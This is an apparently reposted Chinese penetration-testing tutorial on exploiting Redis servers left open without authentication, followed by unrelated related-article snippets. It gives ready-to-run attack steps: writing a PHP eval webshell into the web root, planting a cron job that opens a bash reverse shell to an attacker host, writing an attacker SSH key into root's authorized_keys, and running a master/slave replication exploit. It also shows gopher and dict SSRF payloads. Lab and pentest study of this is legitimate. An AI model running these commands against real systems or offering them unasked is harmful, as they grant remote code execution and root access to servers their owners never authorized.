【渗透测试】redis漏洞利用

redis安装及配置

wget http://download.redis.io/releases/redis-3.2.0.tar.gz tar xzf
redis-3.2.0.tar.gz cd redis-3.2.0 make cp
/root/redis-6.2.6/redis.conf /usr/local/redis/bin/ cd
/usr/local/redis/bin/ vi redis.conf
#修改内容如下:
#protected-mode 的值从 yes 修改成 no
#bind 127.0.0.1 改成bind 0.0.0.0 ./redis-server redis.conf

关闭防护模式
在这里插入图片描述
修改成 0.0.0.0 ,修改白名单为任意IP地址
在这里插入图片描述
redis在设有防护模式的场景下,无法输入有效命令
flushall为删除Redis数据库数据指令,在实战中切勿使用,牢底坐穿术!
在这里插入图片描述

攻击利用

redis基本命令

#连接redis
redis-cli -h 192.168.1.108

查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.1.108:6379>info

将变量x的值设为test:
192.168.1.108:6379>set x “hello”

获取设置的某个变量的值:
192.168.1.108:6379>get x

查看所有键:
192.168.1.108:6379>KEYS *

获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
192.168.1.108:6379>CONFIG GET dir
192.168.1.108:6379>CONFIG GET dbfilename

写入WebShell

set xx "\n\n\<?php @eval($_POST['test']);?>\n\n"
config set dir /var/www/html
config set dbfilename shell.php
save

在这里插入图片描述在这里插入图片描述

写入计划任务

先在自己的服务器上监听一个端口
nc -lvnp 7999然后执行命令:
redis-cli -h 192.168.1.108
set  xx   "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

在这里插入图片描述在这里插入图片描述## 写入 SSH公钥

在本地生成一对密钥:
$ ssh-keygen -t rsa
然后将公钥写入 key.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
之后利用redis未授权访问漏洞将公钥写到/root/.ssh/id_rsa文件中
$ cat key.txt | redis-cli -h ip -x set crackit
$ redis-cli -h ip -x set crackit
config set dir /root/.ssh
config get dir
config set dbfilename "authorized_keys " //必须为authorized_keys,写死在redis.conf配置文件里的
save
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行
$ ssh –i  id_rsa ip

在这里插入图片描述
在这里插入图片描述

redis 4.x/5.x 主从复制导致的命令执行

redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
漏洞环境采用的是vulhub
redis主从复制命令执行漏洞脚本下载地址
脚本命令:

python redis-master.py -r target-ip -p 6379 -L local-host -P 8888 -f RedisModulesSDK/exp.so -c "id"

在这里插入图片描述

利用gopher协议打redis

在实战中经常会遇到SSRF漏洞,可利用gopher协议,结合redis未授权,对服务器进行写入Webshell或者定时任务,这里仅简述用法,如何结合SSRF需考虑实际场景
脚本下载地址
在Gopherus-master/scripts文件夹中找到Redis.py
default 修改值为 “<?php eval($_GET['cmd']); ?>”
在这里插入图片描述利用脚本生成POC在这里插入图片描述使用curl写入Webshell

在这里插入图片描述测试漏洞攻击成功
在这里插入图片描述

利用dict协议打redis

dict探测端口开放情况
对于未开放的端口,均会回复:
Failed to connect to 192.168.121.152 port xxxx after 2047 ms: Couldn’t connect to server
在这里插入图片描述dict操作redis,举一反三同样也可以使用dict对redis服务器写入Webshell、定时任务等,,这里不再赘述。
对于空格,可以使用URFL编码"%20"或者":"替代
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2869626.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

数据结构的概念大合集04(队列)

概念大合集04 1、队列1.1 队列的定义1.2队列的顺序存储1.2.1 顺序队1.2.2 顺序队的基本运算的基本思想1.2.3 顺序队的4要素的基本思想 1.3 环形队列1.3.1 环形队列的定义1.3.1 环形队列的实现 1.4 队列的链式存储1.4.1 链队1.4.2 链队的实现方式1.4.3 链队的4要素的基本思想 1.…

开发环境热部署:2021版IDEA没有compiler.automake.allow.when.app.running

解决办法&#xff1a;Settings--> Advanced Settings -->Compiler勾选上

科研学习|论文解读——了解在线环境中的多数观点形成过程:Facebook的探索性方法(IPM, 2018)

论文标题 Understanding the majority opinion formation process in online environments: An exploratory approach to Facebook 摘要 在在线社区的社会互动过程中&#xff0c;多数观点经常被观察到&#xff0c;但很少有研究用实证数据来解决这一问题。为了确定一个合适的理论…

Ubuntu 虚拟机安装

最小化安装后常用工具 sudo apt-get install vim# ifconfig apt install net-tools # nload apt install nload # 很多都要用到 apt install build-essential # 开发相关 apt install gcc gapt install iproute2 ntpdate tcpdump telnet traceroute \ nfs-kernel-server nfs…

刚刚离乳的幼猫该如何选择猫粮品牌?

亲爱的猫友们&#xff0c;当你家的幼猫刚刚离乳&#xff0c;准备踏入猫粮的世界时&#xff0c;如何选择一款合适的猫粮品牌确实是个让人头疼的问题。&#x1f43e; 别担心&#xff0c;今天我就来为大家推荐一款值得信赖的幼猫粮——福派斯幼猫粮。 1️⃣ 考虑幼猫的营养需求 幼…

前端 - 笔记 - JavaScript - WebAPI【DOM + 事件类型 + Date+ 节点操作 + window + 本地存储 + 正则表达式】

前言 Web API&#xff1a;是一套操作 网页内容&#xff08;DOM&#xff09; 与 浏览器窗口&#xff08;BOM&#xff09; 的 对象&#xff1b; API&#xff1a;就是一些预定义好的方法&#xff0c;这些方法可以实现特定的功能&#xff0c;开发人员可以直接使用&#xff1b;Web …

Day66:WEB攻防-Java安全SPEL表达式SSTI模版注入XXEJDBCMyBatis注入

目录 JavaSec搭建 Hello-Java-Sec搭建 Java安全-SQL注入-JDBC&MyBatis Java安全-XXE注入-Reader&Builder Java安全-SSTI模版-Thymeleaf&URL Java安全-SPEL表达式-SpringBoot框架 知识点&#xff1a; 1、Java安全-SQL注入-JDBC&MyBatis 2、Java安全-XXE注…

Vue 项目安装依赖提示core-js版本低的处理办法

core-js2.6.12: core-js<3 is no longer maintained and not recommended for usage due to the number of issues. Please, upgrade your dependencies to the actual version of core-js3. 我是下载一个老的项目&#xff0c;npm install之后提示上面的错误&#xff1b;本…

通用的springboot web jar包执行脚本,释放端口并执行jar包

1、通用的springboot web jar包执行脚本&#xff0c;释放端口并执行jar包&#xff1a; #!/bin/bash set -eDATE$(date %Y%m%d%H%M) # 基础路径 BASE_PATH/data/yitu-projects/yitu-xzhq/sftp # 服务名称。同时约定部署服务的 jar 包名字也为它。 SERVER_NAMEyitu-server # 环境…

Tuxera NTFS 2023安装使用教程 Tuxera NTFS破解版 Tuxera NTFS for Mac优惠

对于必须在Windows电脑和Mac电脑之间来回切换的Mac朋友来说&#xff0c;跨平台不兼容一直是一个巨大的障碍&#xff0c;尤其是当我们需要使用NTFS格式的硬盘在Windows和macOS之间共享文件时。因为Mac默认不支持写入NTFS磁盘。 为了解决这一问题&#xff0c;很多朋友会选择很便捷…

【安全类书籍-3】XSS跨站脚剖析与防御

目录 内容简介 作用 下载地址 内容简介 这本书涵盖以下几点: XSS攻击原理:解释XSS是如何利用Web应用未能有效过滤用户输入的缺陷,将恶意脚本注入到网页中,当其他用户访问时被执行,实现攻击者的目的,例如窃取用户会话凭证、实施钓鱼攻击等。 XSS分类:分为存储型XSS(…

R统计学3 - 数据分析入门问题41-60

往期R统计学文章: R统计学1 - 基础操作入门问题1-20 R统计学2 - 数据分析入门问题21-40 41. R 语言如何做双坐标图? # 创建模拟数据 year <- 2014:2024 gdp <- data.frame(year, GDP = sort(rnorm(11, 1000, 100))) ur <- data.frame(year, UR = rnorm(11, 5, 1…

[沉淀之华] 自研基于SpringBoot Mybaits 构建低代码数据治理脚手架分享:涵盖数据同步、数据比对、数据归档、数据恢复为一体

文章目录 成果演示背景整体能力功能描述相关细节安装使用 成果演示 Github地址&#xff1a;数据治理脚手架 wiki&#xff1a;kg-ctl-core使用文档 背景 为什么要做这个&#xff1f; 一个老生常谈且不得不谈问题&#xff1a;随着业务日益发展&#xff0c;如果不做数据迁移&…

双指针、bfs与图论

1238. 日志统计 - AcWing题库 import java.util.*;class PII implements Comparable<PII>{int x, y;public PII(int x, int y){this.x x;this.y y;}public int compareTo(PII o){return Integer.compare(x, o.x);} }public class Main{static int N 100010, D, K;st…

solr/ES 分词插件Jcseg设置自定义词库

步骤&#xff1a; 1、找到配置文件jcseg-core/target/classes/jcseg.properties修改配置&#xff1a; 下载地址: https://gitee.com/lionsoul/jcseg#5-如何自定义使用词库 lexicon.path {jar.dir}/../custom-word 设置lexicon路径&#xff0c;我们这个配置可以自定义&#xf…

Qt教程 — 3.3 深入了解Qt 控件:Input Widgets部件(2)

目录 1 Input Widgets简介 2 如何使用Input Widgets部件 2.1 QSpinBox组件-窗口背景不透明调节器 2.2 DoubleSpinBox 组件-来调节程序窗口的整体大小 2.3 QTimeEdit、QDateEdit、QDateTimeEdit组件-编辑日期和时间的小部件 Input Widgets部件部件较多&#xff0c;将分为三…

很好的一本书,推荐给你们《Hello 算法》

算法犹如美妙的交响乐&#xff0c;每一行代码都像韵律般流淌。 愿这本书在你的脑海中轻轻响起&#xff0c;留下独特而深刻的旋律。 本项目旨在打造一本开源免费、新手友好的数据结构与算法入门教程。 全书采用动画图解&#xff0c;内容清晰易懂、学习曲线平滑&#xff0c;引导…

Linux使用git命令行教程

. 个人主页&#xff1a;晓风飞 专栏&#xff1a;数据结构|Linux|C语言 路漫漫其修远兮&#xff0c;吾将上下而求索 文章目录 git安装git仓库的创建.git 文件添加文件git 三板斧(add,commit,push)解释拓展git log.gitignore git安装 首先输入git --version看看有没有安装git 如…

白话模电:3.三极管(考研面试与笔试常考问题)

一、三极管的简单判断 1.判断三极 1)给了图 左边是b,有箭头是e,剩下是c 2)给了电位 b:中间值&#xff0c;e:较近值(离中间值)&#xff0c;c:较远值(离中间值) 2.判断流向 bc同向(共同流向“|”或共同流离“|”)&#xff0c;e与bc反向 3.判断材料 4.判断类型 5.判断能否构…

2024 年值得关注的三大 DevOps 趋势

在过去几年中&#xff0c;DevOps 世界以前所未有的速度发展&#xff0c;但它仍然是许多组织效率、创新和数字化转型的主要驱动力。 Google 的 2023 年 加速 DevOps 状态报告显示&#xff0c;公司的软件交付性能质量可以预测组织绩效、团队绩效和员工福祉。 2024年&#xff0c…